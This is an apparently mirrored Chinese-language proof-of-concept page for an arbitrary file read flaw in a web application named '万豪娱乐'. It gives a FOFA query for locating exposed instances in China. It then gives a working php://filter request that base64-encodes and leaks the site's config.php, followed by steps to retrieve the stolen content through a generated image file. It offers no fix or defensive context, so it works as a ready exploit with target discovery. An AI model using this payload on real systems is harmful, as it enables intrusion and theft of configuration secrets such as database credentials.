mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 11:26:58 +00:00
22 lines
776 B
Markdown
22 lines
776 B
Markdown
# 万豪娱乐存在任意文件读取漏洞
|
||
|
||
# 一、漏洞简介
|
||
万豪娱乐存在任意文件读取漏洞
|
||
|
||
# <font style="color:rgb(51, 51, 51);">二、资产测绘</font>
|
||
+ fofa`"Public/Js/Mobile" && country="CN"`
|
||
+ 特征
|
||
|
||
|
||
|
||
# 三、漏洞复现
|
||
```plain
|
||
/Home/game/getimg?url=php://filter/read=convert.base64-encode/resource=Application/Common/Conf/config.php&id=1993
|
||
```
|
||
|
||
<font style="color:rgb(52, 73, 94);">使用poc访问后，接着访问 /public/gamelist/1993.jpg 的图片，保存下来就是读取到的内容</font>
|
||
|
||
|
||
|
||
> 更新: 2024-11-27 10:00:05
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ifd65o9r8hm8m0ac> |